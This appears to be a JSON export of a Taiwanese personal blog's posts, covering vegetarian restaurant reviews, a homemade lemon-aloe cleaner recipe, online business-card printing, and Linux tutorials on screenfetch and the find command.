  style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"牛津大學出版社-learning-to-write\"\u003e牛津大學出版社 Learning to write\u003c/h2\u003e\n\u003cp\u003e牛津大學出版社的網站上有提供英文字母 a 到 z 的書寫練習。\u003c/p\u003e","title":"英文 ABC 練習本免費下載整理（虛線簿、描寫簿、作業簿）"},{"content":"本篇介紹台南市新營區的御素養生蔬食，位於新營交流道附近，目前主要是做外送與外帶便當為主。\n御素養生蔬食目前已搬遷至臺南市新營區長春街43號，本文的照片已經過時。\n名稱：御素養生蔬食\n地址：臺南市新營區長春街43號\n他的位置在復興路上，綠色的招牌很明顯。\n這是店門口的照片。\n他的便當菜色非常豐富，而且每天都有變化，主廚擅長使用新鮮蔬果熬煮湯頭料理食材，餐點吃起來，健康美味無負擔，也不油膩，是很難得的便當菜。\n我就常常來這裡外帶便當，60 元便當有 7 道菜，而且都很好吃，老實說我很少吃到這麼好吃的素食便當！\n聽御素主廚說，因為御素必須服務非常多的團訂便當老顧客，而這些老顧客幾乎是每天都吃御素便當，為了讓他們每天能夠吃到不同的菜色，御素堅持中餐和晚餐的七道菜不會重複，今天和明天的菜色也不會重複，對於顧客設想的非常週到！\n在飯的部分，有白飯與五穀飯兩種選擇，價格一樣。\n這是水餃（一顆 4 元，這樣一盒 10 顆 40 元），還有附贈一包沾醬。\n御素的水餃都是自己包的，裡面的餡料很飽滿，水餃皮 QQ 的很有彈性，完全不同於一般外面賣的冷凍水餃，我個人是非常喜歡吃！另外水餃沾醬的味道也調的很不錯喔。\n除了便當之外，也有一些麵食可以選擇，下面這個是酸辣湯餃 （55 元），水餃與酸辣湯是分開裝的。\n這是水餃。\n這是倒進酸辣湯之後的樣子。\n酸辣湯的料真的很多，配上水餃可以吃很飽。\n這是番茄鮮蔬拉麵（55 元）。\n這是麵條。\n湯與麵混合之後，紙碗已經快裝不下了。\n這裡也有賣冷凍水餃，每盒 70 元（20 顆）。\n我常常都會買兩三盒冷凍水餃回家慢慢煮。\n這是御素養生蔬食的名片。\n名片背面是菜單。\n御素養生蔬食目前幾乎都是做外送便當客戶為主，很多附近的機關團體或是醫院都會團訂御素的便當，最遠有送到柳營的奇美醫院，聽御素主廚說，很多醫院病患都喜歡訂他們的便當，而御素也很願意為他們服務。\n如果需要團體訂購外送便當的話，請於早上 10:00 ~ 10:30 前訂購，因為御素每天早上 10:30 前就會排好送便當的路線，每天固定外送便當量很多，需要外送的人請務必提早預訂，讓御素安排路程與時間。\n來這裡外帶便當的話，若碰到御素外送便當的尖峰時段，等待時間就會比較久，可以事先電話預訂取餐時間比較方便喔！通常在 12:00 ~ 14:00 或 17:00 ~ 19:00 這些非便當外送的尖峰時段，主廚會比較有時間服務一些現場的零星客戶，不過每天的狀況不一定，建議還是先用電話預約。\n因為御素離交流道很近，店門口的路也很大條，汽車暫停一下也沒什麼問題，我經常從交流道開車下來，就順便在這裡包便當，還蠻方便的。\n","permalink":"https://blog.gtwang.org/life/yusu-vegetarian-restaurant-sinying-tainan/","summary":"\u003cp\u003e本篇介紹台南市新營區的御素養生蔬食，位於新營交流道附近，目前主要是做外送與外帶便當為主。\u003c/p\u003e\n\u003cblockquote class=\"caution\"\u003e\u003cp\u003e御素養生蔬食目前已搬遷至\u003ca href=\"https://maps.app.goo.gl/wa6rTsLRBbhpVYLB7\"\u003e臺南市新營區長春街43號\u003c/a\u003e，本文的照片已經過時。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote class=\"tldr\"\u003e\u003cp\u003e名稱：御素養生蔬食\u003cbr\u003e\n地址：\u003ca href=\"https://maps.app.goo.gl/wa6rTsLRBbhpVYLB7\"\u003e臺南市新營區長春街43號\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e他的位置在復興路上，綠色的招牌很明顯。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"御素養生蔬食\" loading=\"lazy\" src=\"/life/yusu-vegetarian-restaurant-sinying-tainan/yusu-vegetarian-restaurant-sinying-tainan-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"[台南新營素食] 御素養生蔬食：素食便當、水餃、拉麵、團膳"},{"content":"screenfetch 與 linux_logo 是兩個可以在終端機中顯示 Linux logo 與基本硬體資訊的指令。\nscreenfetch screenfetch 是一個 Bash 指令稿，他可以自動偵測作業系統的相關資訊，顯示作業系統的 logo 與一些有用的系統資訊。\n在 Debian 系列的 Linux 中，可以使用 apt 安裝 screenfetch：\nsudo apt-get install screenfetch 在 Fedora Linux 中，則使用 dnf 安裝：\nsudo dnf install screenfetch 在 Mac OS X 中，可以使用 brew 安裝：\nbrew install screenfetch 在 FreeBSD 中則可安裝 sysutils/screenfetch 這個套件：\nsudo pkg install sysutils/screenfetch 安裝好之後，在命令列執行：\nscreenfetch 即可輸出作業系統的 logo 與一些系統資訊，畫面會像這樣：\nlinux_logo 在 Debian 系列的 Linux 中，可用 apt 安裝：\nsudo apt-get install linux_logo 有些 Linux 發行版中的套件名稱會有些差異：\nsudo apt-get install linuxlogo CentOS、RHEL 與舊的 Fedora Linux 可用 yum：\nsudo yum install linux_logo Fedora Linux v22 以後的版本，可用 dnf：\nsudo dnf install linux_logo 安裝好之後，執行：\nlinux_logo 或是\nlinuxlogo 輸出會這樣：\n我們還可以用這行指令查看所有支援的作業系統 logo：\nlinux_logo -f -L list 若要指定顯示的 logo，可以執行：\nlinux_logo -f -L debian 以下是各種發行版的 logo：\n參考資料 nixCraft ","permalink":"https://blog.gtwang.org/linux/screenfetch-and-linux_logo-show-linux-logo-and-basic-hardware-info/","summary":"\u003cp\u003e\u003ccode\u003escreenfetch\u003c/code\u003e 與 \u003ccode\u003elinux_logo\u003c/code\u003e 是兩個可以在終端機中顯示 Linux logo 與基本硬體資訊的指令。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"screenfetch\"\u003e\u003ccode\u003escreenfetch\u003c/code\u003e\u003c/h2\u003e\n\u003cp\u003e\u003ccode\u003escreenfetch\u003c/code\u003e 是一個 Bash 指令稿，他可以自動偵測作業系統的相關資訊，顯示作業系統的 logo 與一些有用的系統資訊。\u003c/p\u003e","title":"screenfetch 與 linux_logo：顯示 Linux Logo 與基本硬體資訊"},{"content":"今天用 7-ELEVEN 提款機提款送的美食酷碰卷，到拿坡里買兩個素食的披薩，買一送一。\n拿坡里的披薩中，有兩種口味是素食可以吃的，一個是蔬菜，另一個是蘋果肉桂，如果是兩三個人，可以去 7-ELEVEN 提款機領個錢，並且列印拿坡里的酷碰卷，可享小披薩買一送一，雙份起司也是買一送一。\n在提款之後，都會出現這樣的畫面，選擇列印酷碰卷。\n選擇「買一送一美食酷碰專區」。\n選擇「拿坡里買一送一」。\n這是印出來的酷碰卷。\n拿酷碰卷到拿坡里買披薩。\n有了酷碰卷，兩個小的披薩（買一送一），價錢是 219 元，加上兩個雙份起司 50 元（也是買一送一），總共 269 元。\n我點了一個蔬菜與一個蘋果肉桂。\n兩個都加雙份起司。\n由於星期天很多素食店都沒有營業，我們有時候就會這樣點兩個素食披薩來吃。\n今天的披薩感覺烤的比平常焦一些，拍起來不好看，不然平常這樣吃我是感覺很不錯。\n","permalink":"https://blog.gtwang.org/life/vegetarian-naples-pizza/","summary":"\u003cp\u003e今天用 7-ELEVEN 提款機提款送的美食酷碰卷，到拿坡里買兩個素食的披薩，買一送一。\u003c/p\u003e\n\u003cp\u003e拿坡里的披薩中，有兩種口味是素食可以吃的，一個是蔬菜，另一個是蘋果肉桂，如果是兩三個人，可以去 7-ELEVEN 提款機領個錢，並且列印拿坡里的酷碰卷，可享小披薩買一送一，雙份起司也是買一送一。\u003c/p\u003e","title":"[食記] 拿坡里的素食披薩（奶素）"},{"content":"這裡介紹天然檸檬蘆薈清潔劑的自製步驟，此基本配方適用於洗餐盤碗筷、抽油煙機、流理台、玻璃、浴廁、洗臉、洗手、洗髮、洗澡等清潔用途，天然無汙染，環保又健康。\n如果想要製作濃縮配方的洗碗精，可以參考檸檬精油天然洗碗精的製作教學，這種配方用量會比較節省，做法也比較簡單。\n檸檬與蘆薈的功用 檸檬 檸檬綠皮含有豐富的檸檬精油，檸檬精油有潔白、去汙、除臭與抑菌的效果，適合用於廚房、浴室、衣物的清潔；在身體的沐浴及洗髮方面，檸檬精油能夠去除老死細胞，改善黯沉膚色，使皮膚更加明亮，同時亦可潔淨毛孔、淨化皮膚、去除角質，對於面皰與油性膚質有潔膚抗菌、收斂平衡油脂的效果。\n蘆薈 蘆薈是一種很天然的美容植物，含有多種對皮膚有益的維生素，對皮膚的保溼滋潤、消炎鎮定、美白防皺、抗菌癒合效果極佳；另外它也含有促使細胞再生、加速傷口癒合成份，對於曬傷或過敏等問題肌膚，也有很好的改善效果。\n蘆薈的品種有很多種，在製作清潔劑時，可選用吉拉索蘆薈（翠葉蘆薈），翠葉蘆薈是永久公司（Forever，美國最大的蘆薈保健清潔用品公司）所有選用的品種，這是去皮後可以食用的品種。請選用種植三年以上的成熟蘆薈。\n蘆薈厚皮層的外皮導管中含有大黃素（中醫所謂大寒大苦之物質，在過去被當作瀉藥），易導致過敏，因此外皮不能使用，這裡教各位如何去除蘆薈外皮，只取出蘆薈的透明凝膠，避免大黃素汙染的方法。\n材料 檸檬 2.5 斤。 95% 優質酒精 1 瓶。 蘆薈透明凝膠 1 碗。 鹽 330 公克。 椰子起泡劑 330ml。 純淨水 5 公升（最多，可視容器容量酌量減少）。 一罐 95% 優質酒精大約可以浸泡 2.5 到 3 斤檸檬刨取的綠皮，2.5 斤的檸檬大約是中型檸檬 13 顆。\n一碗的蘆薈果肉大約需要兩大片的吉拉索蘆薈（翠葉蘆薈）。\n330 公克的鹽大約是一個吃飯碗的量。選用「台鹽高級精鹽」即可。\n椰子油起泡劑的選擇，一般市售有 35% 椰子油起泡劑與 70% 椰子油起泡劑，建議使用 35% 椰子油起泡劑。\n我習慣使用高雄藏美公司的椰子油起泡劑，有三種起泡劑可以選擇：\n編號 名稱 原料狀 特性 適合用途 001 椰子油起泡劑 （35%） 水水 起泡少細緻溫和，好沖洗，不殘留，清潔力溫和 沐浴乳、洗髮精、洗面乳、清潔劑、洗碗精、洗衣精、抽油煙機、浴廁 002 椰子油起泡劑-濃（介於 35% 與 70% 之間） 濃稠 溫和，清潔力佳，泡沫適中，不結塊，好沖洗，不殘留 沐浴乳、洗髮精、洗面乳、清潔劑、洗碗精、洗衣精、抽油煙機、浴廁 003 椰子油起泡劑-特濃（70%） 果凍 泡沫多，清潔力佳，易結塊，等待時間長，易殘留，沖洗水量需增加 洗車、泡泡浴 35% 與 70% 代表起泡能力的指數，數字越大，泡沫越多。\n若不習慣 35% 椰子油起泡劑低泡沫特性的人，可以增加起泡劑用量或是改用編號 002 的椰子油起泡劑取代。\n以上是所有需要準備的材料，下一頁開始是清潔劑的做法。\n檸檬精油酒精 以下是製做檸檬精油酒精的步驟。\nStep 1\n先準備一個乾淨玻璃空罐，這個是五金行買得到的 1.8 公升櫻桃罐。\nStep 2\n將檸檬洗淨晾乾後，刨取檸檬綠皮。\nStep 3\n將檸檬綠皮盡快裝罐，避免檸檬精油揮發。\nStep 4\n倒入 95% 優質酒精，萃取檸檬綠皮中的檸檬精油。\n檸檬綠皮內部的精油非常容易揮發，在刨取後應盡快裝罐並且以酒精浸泡。\nStep 5\n靜置 24 小時後，即可使用。\n若是沒有馬上使用，可以濾取檸檬精油酒精裝瓶儲存，避免照光與高熱，可以存放一年沒問題。\nStep 6\n使用有濾網的漏斗，濾出檸檬精油酒精。\n濾取檸檬精油酒精，裝入原酒精瓶。\n95% 濃度酒精燃點低、容易燃燒，請存放於安全之處，避免傾倒、照光或高熱，並盡快使用完畢。\n檸檬精油酒精處理完之後，就要開始處理蘆薈的部分，請接著閱讀下一頁。\n取出蘆薈果肉 蘆薈剛摘取後，底部斷面會有大量的大黃素流出，可以放個一、兩天後，待斷面癒合、大黃素不再流出時，再進行處理。\nStep 1\n準備乾淨水果刀、粘板，洗淨蘆薈表面後備用。\nStep 2\n使用水果刀切開蘆薈外皮，因為大黃素是位於蘆薈的外皮導管中，所以去除蘆薈外皮時應避免橫切（切斷外皮導管），盡可能讓大黃素保存在外皮導管內，只要大黃素不要流出來，就可以減低蘆薈肉被大黃素污染的機率。\n順著導管方向，先切除蘆薈兩邊。\n雖然是順著外皮導管的方向，但難免還是會有少許的大黃素流出，若是怕手碰觸到大黃素引起過敏，建議可以帶個手套。\n這是切除蘆薈兩邊後的樣子。\nStep 3\n用清水洗淨大黃素。\n如果您剛好在洗手檯旁邊，可以直接放在水龍頭下面沖洗，這樣也比較方便。\n整個切過的斷面都要清洗，水果刀也要記得洗乾淨。\nStep 4\n用水果刀的刀背，平貼上表皮，順著蘆薈尾部往頭部剖開上表皮與果肉。\n使用刀背的原因在於刀背很鈍，比較不容易不小心割到外皮，只要不傷到外皮，大黃素就不會流出來，這樣蘆薈肉就很安全。\n就照這樣平貼上表皮順著切。\n切到最後的時候，蘆薈比較不平整，可以稍微留一些，避免不小心傷到外皮。\n接著一樣用水果刀的刀背，平貼下表皮，順著蘆薈尾部往頭部剖開下表皮和果肉。\n就照這樣平貼下表皮順著切。\n過程中一樣盡量避免傷到蘆薈的外皮。切到最後，然後將蘆薈肉切下來。\n這是完整的示範影片。\n這裡因為要拍照，所以將外皮稍微翻開，但一般實際操作時，盡量不要翻摺上下表皮，以免損傷外皮，造成大黃素流出。\nStep 3\n成功取出蘆薈果肉。\n蘆薈果肉取出後，若不馬上使用，請裝袋冷凍保存。\n下面這張圖是我在取出蘆薈肉之後，把沒有用的外皮切開，讓大家看一下大黃素流出來的樣子，砧板上黃色的液體就是大黃素。\n如果在取出蘆薈肉的過程中，不小心讓大黃素沾到皮膚的話，請盡快用清水將大黃素沖掉，皮膚清洗乾淨之後，如果有出現過敏的現象，可以拿蘆薈的透明汁液來塗抹（當然不可以沾到大黃素），就可以消除過敏不適感。\n蘆薈肉準備好之後，接著要將所有的材料混合，請接著閱讀下一頁。\n混合材料製作清潔劑 Step 1\n將蘆薈果肉與鹽加水用果汁機打汁，也可以分成兩次打汁。\nStep 2\n倒入鹽巴。鹽巴和蘆薈果肉一起打，可省去攪散鹽巴的時間，只是高濃度的鹽水會使金屬器具鏽蝕，打完汁後，要趕快清洗果汁機與工作檯面。\nStep 3\n倒入蘆薈果肉和少量純淨水。（純淨水取自原本準備的 5 公升的純淨水。）\nStep 4\n打汁，打到蘆薈果肉完全呈汁液狀。\nStep 5\n準備 6 公升礦泉水的空桶，洗淨晾乾，或用過濾水沖淨也可。\nStep 6\n將含鹽蘆薈汁、水、檸檬酒精和起泡劑倒入製作容器內。先倒入蘆薈汁（含鹽）。\nStep 7\n再加入些純淨水至七分滿的高度，要預留檸檬精油酒精 500ml 與起泡劑 330ml 空間。\nStep 8\n再倒入事先準備好的檸檬精油酒精。\nStep 9\n倒入事先量好的起泡劑 330ml。\nStep 10\n再將剩下的純淨水倒入，倒滿即可。\n5 公升的純淨水沒倒完沒關係，純淨水用量少只是會讓清潔劑更濃縮。\nStep 11\n攪拌混合均勻，或鎖緊瓶蓋，上下倒立、搖一搖，使溶液混合均勻。\n若使用 35% 椰子油起泡劑，靜置 24 小後即可裝瓶使用，若使用 70% 椰子油起泡劑，靜置一週後，才可裝瓶使用。\n會使用 6 公升礦泉水空桶示範是因為此種空桶取得容易，但因為是透明容器，照光易使檸檬精油顏色由綠轉金黃色，清潔能力會變弱，請盡量存放陰暗處避免照光。\n若純粹做洗碗或洗衣用途，其實是可以不添加蘆薈果肉的，可以依原配方省去蘆薈部分，做成濃縮配方。\n最後將製作好的清潔劑裝瓶，就可以很方便的使用了。\n本篇介紹的是小家庭用的 6 公升礦泉水瓶配方，如果您需要一次製做大量的清潔劑，可以參考 20 公升桶子的配方。\n如果需要購買檸檬的人，可以參考屏東潮州自產自銷的無毒檸檬。另外削完皮的檸檬可以製作蜂蜜檸檬汁，給小朋友夏天當飲料喝很不錯。\n","permalink":"https://blog.gtwang.org/diy/diy-handmade-lemon-aloe-cleaner-small-family-recipe/","summary":"\u003cp\u003e這裡介紹天然檸檬蘆薈清潔劑的自製步驟，此基本配方適用於洗餐盤碗筷、抽油煙機、流理台、玻璃、浴廁、洗臉、洗手、洗髮、洗澡等清潔用途，天然無汙染，環保又健康。\u003c/p\u003e","title":"[DIY] 天然環保的手工檸檬蘆薈清潔劑製作教學（小家庭配方）"},{"content":"本篇是我用全家 65 元小資箱寄包裹的紀錄。\n","permalink":"https://blog.gtwang.org/life/family-mart-express-hct-logistics/","summary":"\u003cp\u003e本篇是我用全家 65 元小資箱寄包裹的紀錄。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"新竹物流紙箱\" loading=\"lazy\" src=\"/life/family-mart-express-hct-logistics/hct-logistics-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"新竹物流紙箱\" loading=\"lazy\" src=\"/life/family-mart-express-hct-logistics/hct-logistics-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"包裹\" loading=\"lazy\" src=\"/life/family-mart-express-hct-logistics/hct-logistics-3.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"包裹\" loading=\"lazy\" src=\"/life/family-mart-express-hct-logistics/hct-logistics-4.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"託運單\" loading=\"lazy\" src=\"/life/family-mart-express-hct-logistics/hct-logistics-5.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"託運單\" loading=\"lazy\" src=\"/life/family-mart-express-hct-logistics/hct-logistics-6.jpg\"\u003e\u003c/p\u003e","title":"全家 65 元小資箱，最省錢的宅配！"},{"content":"新市的恆心素食位於仁愛街，用餐環境好，是一家不錯的素食自助餐。\n在新市區的素食自助餐中，除了小華素食之外，就是這家恆心素食比較不錯，口味跟小華有些小差異，我個人都是這兩家換來換去。\n恆心素食食坊目前已停止營業。\n這是恆心素食的大門口，他的位置在仁愛街大馬路上，很好找。\n店內的環境不錯。\n他的菜色也算蠻多的。\n這是店內的座位。\n這裡的人潮不像小華那麼多，店內有放輕音樂，比較喜歡清靜的人適合來這裡用餐，我個人是比較喜歡這裡的用餐環境。\n這裡的菜是用秤重的，價格算很便宜，我這樣連同一碗飯才 53 塊。\n這家恆心素食同時也有做南科的外送便當，南科應該有很多公司平常的素食便當都會訂這裡的，他們就算是一個便當也送（我常常就是這樣訂便當的）。\n","permalink":"https://blog.gtwang.org/life/perseverance-vegetarian-restaurant-xinshi-tainan/","summary":"\u003cp\u003e新市的恆心素食位於仁愛街，用餐環境好，是一家不錯的素食自助餐。\u003c/p\u003e\n\u003cp\u003e在新市區的素食自助餐中，除了\u003ca href=\"/life/xiaohua-vegetarian-restaurant-xinshi-tainan/\"\u003e小華素食\u003c/a\u003e之外，就是這家恆心素食比較不錯，口味跟小華有些小差異，我個人都是這兩家換來換去。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cblockquote class=\"caution\"\u003e\u003cp\u003e恆心素食食坊目前已停止營業。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e這是恆心素食的大門口，他的位置在仁愛街大馬路上，很好找。\u003c/p\u003e","title":"[台南新市素食] 恆心素食食坊，近南科素食自助餐"},{"content":"這裡介紹如何使用 Mr. CaCa 這個線上名片印刷服務，來設計並且送印自己的名片，無須安裝任何軟體即可使用。\n通常專業的設計師在設計名片時，都會使用 Adobe 系列的軟體，除此之外在設計時還需要考慮色彩模式、出血與各種印刷相關的問題，如果我們想要自己設計名片，而自己的電腦又沒有安裝 Adobe 的相關設計軟體，再加上又不懂這些印刷相關技術（其實應該說沒時間去學，也沒興趣），有時候還真不知道怎麼下手。\n如果您只是單純想印個簡單的名片，只要快速簡單、不需要太複雜的設計，這樣的話我們就可以利用一些有提供線上設計名片的印刷服務，快速設計出自己想要的名片，並且馬上送印，快速又方便！\n這類的線上服務網路上有好幾家印刷廠都有提供，我是第一次使用這樣的服務，就隨便找一家 Mr. CaCa 來嘗試看看，他的使用者介面簡單明瞭，讓使用者很容易上手。\nStep 1\n選擇範本，Mr. CaCa 網站上提供了很多的名片範本，如果不想自己設計的人，可以直接套用這些範本。如果要自己設計的話，就選擇空白的範本。\nStep 2\n因為我想要簡簡單單的名片，所以選擇了完全空白的範本，然後上傳自己的網站 logo 圖檔與 QR code 圖檔，再打上一些文字。\nStep 3\n這個平台上您可以儲存多個版本的名片設計圖，在設計階段難免會修修改改，我們可以把各個階段的草稿複製備份成獨立的備份檔，以便隨時取用。\nStep 4\n當我們設計好名片之後，就可以按下「印刷成品」來送印。\nStep 5\n送印時，首先選擇要使用的紙材與印製的名片數量，這裡我選最便宜的一級卡（一盒 55 元），而數量最少要三盒才能印。\nStep 6\n選擇要加購的商品，我這裡花 30 元加購三個塑膠的名片盒。\nStep 7\n最後確認。\nStep 8\n填寫收貨人資料，並選擇付款方式。\nStep 9\n確認訂單。\nStep 10\n訂購完成，這裡我選擇的是 ATM 轉帳，系統會產生一組專用的轉帳帳號，按照訂單的金額轉進這個帳戶即可。\n付款完成之後，記得要回到訂單管理的網頁，按下通知付款的按鈕，接下來就是等待印刷廠印製名片了。\nStep 10\n等個三天之後，我就收到印好的名片了，以下是簡單的開箱記錄。名片是用郵局掛號寄來的。\n裡面有一層泡泡袋。\n裡面有附一張出貨明細，還有一疊 Mr. CaCa 各種紙材的樣本名片，這個還蠻有用的，可以很清楚每一種紙材製作出來的感覺，我看到這個樣本當場後悔不應該選最便宜的一級卡，因為其他比較好的紙材看起來真的高級很多，下次我一定要選比較好一點的紙材！\n這是我印出來的三盒名片。\n這就是名片印出來的樣子，跟我在網頁上排版的樣子一模一樣，這樣子製作名片真的非常方便。\n因為看到比較高級的紙材，現在我就很想要把這個一級卡的名片趕快用完，改用其他的紙材，不過現在要煩惱這三盒名片不曉得要哪時候才發的完。\n","permalink":"https://blog.gtwang.org/life/mrcaca-diy-business-card/","summary":"\u003cp\u003e這裡介紹如何使用 Mr. CaCa 這個線上名片印刷服務，來設計並且送印自己的名片，無須安裝任何軟體即可使用。\u003c/p\u003e\n\u003cp\u003e通常專業的設計師在設計名片時，都會使用 Adobe 系列的軟體，除此之外在設計時還需要考慮色彩模式、出血與各種印刷相關的問題，如果我們想要自己設計名片，而自己的電腦又沒有安裝 Adobe 的相關設計軟體，再加上又不懂這些印刷相關技術（其實應該說沒時間去學，也沒興趣），有時候還真不知道怎麼下手。\u003c/p\u003e","title":"Mr. CaCa 自己設計名片的線上印刷服務"},{"content":"這裡整理了一系列的 find 指令使用範例教學，對於管理或使用 Unix/Linux 的人很有幫助。\nfind 指令是 Unix/Linux 系統中很常用的指令之一，尤其是對於系統管理者，更是會常常使用到這個工具。\n對於 Unix/Linux 系統的管理者而言，find 是一個很有用的指令，它支援非常多的搜尋選項，可以依照權限、擁有者、群組、檔案類型、日期與大小等條件來搜尋，這裡整理一些常用的 find 指令的一些使用技巧。\n指定檔名搜尋 若要在目前的目錄底下，找尋檔案名稱為 gtwang.txt 的檔案，可以使用：\nfind . -name gtwang.txt 執行後，find 會列出所有檔名是 gtwang.txt 的檔案列表。\n./gtwang/gtwang.txt 在 /home 目錄底下，找尋檔案名稱為 gtwang.txt 的檔案：\nfind /home -name gtwang.txt 輸出為\n/home/gtwang/gtwang/gtwang.txt 在 /home 目錄底下，不分英文大小寫，找尋檔案名稱為 gtwang.txt 的檔案：\nfind /home -iname gtwang.txt 輸出為\n/home/gtwang/gtwang/GTWang.txt /home/gtwang/gtwang/GTWANG.TXT /home/gtwang/gtwang/gtwang.txt 指定檔案類型搜尋 find 的 -type 參數可以指定檔案的類型，常用的選項有：\nd：目錄。 p：具名的 pipe（FIFO）。 f：一般的檔案。 l：連結檔，如果與 -L 或 -follow 參數同時使用時，就只會搜尋到有問題的連結檔，如果想要與 -L 同時使用，請改用 -xtype。 s：socket 檔案。 在根目錄底下搜尋名稱為 gtwang 的目錄：\nfind / -type d -name gtwang 輸出會像這樣\n/home/gtwang /home/gtwang/gtwang 列出目前目錄底下所有的 PHP 檔案：\nfind . -type f -name \u0026#34;*.php\u0026#34; 檔案權限 -perm 可以指定檔案的權限，例如列出權限是 777 的所有檔案：\nfind . -type f -perm 0777 這個指令在檢查系統漏洞時會常用到。另外我們也可以用排除的方式，列出所有權限不是 777 的檔案：\nfind . -type f ! -perm 777 find 也用來搜尋具有特殊權限的檔案，例如找尋權限是 644 而且有 SGID 的檔案（關於 SGID 可以參考鳥哥的文件）：\nfind . -perm 2644 找尋權限是 644 而且有 Sticky Bit 的檔案：\nfind . -perm 1551 列出系統中所有 SUID 的檔案：\nfind / -perm /u=s 列出系統中所有 SGID 的檔案：\nfind / -perm /g+s 列出唯讀的檔案：\nfind / -perm /u=r 列出可執行的檔案：\nfind / -perm /a=x 執行指令 -exec 可以讓我們將搜尋出來的結果，使用其他的指令進行後續的處理動作，例如將目前目錄下所有權限為 777 的檔案找出來，用 chmod 將這些檔案的權限更改為 644：\nfind . -type f -perm 0777 -print -exec chmod 644 {} \\; 找出所有權限為 777 的目錄，將這些目錄用 chmod 把權限改為 755：\nfind / -type d -perm 777 -print -exec chmod 755 {} \\; 找出檔名為 gtwang.txt 的所有檔案，並且刪除它：\nfind . -type f -name \u0026#34;gtwang.txt\u0026#34; -exec rm -f {} \\; 找出所有的 *.mp3 檔，並且刪除：\nfind . -type f -name \u0026#34;*.mp3\u0026#34; -exec rm -f {} \\; 空檔案與隱藏檔 如果要找尋空檔案，可以使用 -empty 參數：\nfind . -type f -empty 找尋空目錄：\nfind . -type d -empty 在 UNIX/Linux 系統上的隱藏檔其實就是檔名以句點（.）開頭的檔案，若要找尋這些檔案可以執行：\nfind . -type f -name \u0026#34;.*\u0026#34; 檔案擁有者 使用 -user 參數可以在搜尋時加上檔案擁有者的條件，搜尋特定使用者的檔案，例如在根目錄下搜尋 root 管理者的 gtwang.txt 這個檔案：\nfind / -user root -name gtwang.txt 在 /home 之下找出 gtwang 使用者的所有檔案：\nfind /home -user gtwang 在 /home 之下找出 gtwang 使用者的所有 *.txt 文字檔，副檔名不分大小寫：\nfind /home -user gtwang -iname \u0026#34;*.txt\u0026#34; 使用 -group 參數可以指定檔案的群組，例如在 /home 之下搜尋所有 developer 群組的檔案：\nfind /home -group developer 檔案修改與存取日期 find 有一系列時間相關的參數：\n-mtime n 指定檔案的最後修改時間（modification time），單位為天。 -mmin n 指定檔案的最後修改時間，單位為分鐘。 -atime n 指定檔案的最後存取時間（access time），單位為天。 -amin n 指定檔案的最後存取時間，單位為分鐘。 -ctime n 指定檔案狀態相關資訊最後修改的時間（status time），單位為天。 -cmin n 指定檔案狀態相關資訊最後修改的時間，單位為分鐘。 找尋剛好在 7 天之前有被修改過的檔案（例如今天是 9/17，那麼 7 天前就是 9/11）：\nfind . -mtime 7 找尋最近 7 天之內有被修改過的檔案（例如今天是 9/17，那麼 7 天之內就是 9/11 到 9/17）：\nfind . -mtime -7 找尋上次修改的時間是在 7 天以上的檔案（例如今天是 9/17，那麼修改時間在 7 天以上的檔案就是 9/11 以前修改過的檔案）：\nfind . -mtime +7 找出上次修改的時間是在 7 天以上、14 天以下的檔案：\nfind . -mtime +7 -mtime -14 找尋最近一小時內更改過的檔案：\nfind . -mmin -60 基本上 mtime、ctime 與 atime 的時間指定方式都相同，例如找尋最近一小時內更改過狀態的檔案：\nfind . -cmin -60 找尋最近一小時內有被存取過的檔案：\nfind . -amin -60 關於 mtime、ctime 與 atime 的差異，可以參考鳥哥的文件。\n檔案大小 使用 -size 參數可以指定檔案的大小，例如搜尋檔案大小剛好是 50MB 的檔案：\nfind . -size 50M 找出檔案大小介於 50MB 到 100MB 之間的檔案：\nfind . -size +50M -size -100M 找出大於 100MB 的檔案，並且直接刪除之：\nfind . -size +100M -exec rm -rf {} \\; 實用範例 在目前的目錄中，找出所有檔案大小在 10MB 以上的 mp3 檔案，並且直接刪除這些檔案：\nfind . -type f -name *.mp3 -size +10M -exec rm {} \\; 在目前的目錄中，找出所有的 C 語言原始碼檔案（*.c），透過 grep 搜尋這些程式碼，過濾出含有 main 這個單字的檔案，列出所有符合條件的檔案列表：\nfind ./ -name \\*.c -exec grep -wl main {} \\; 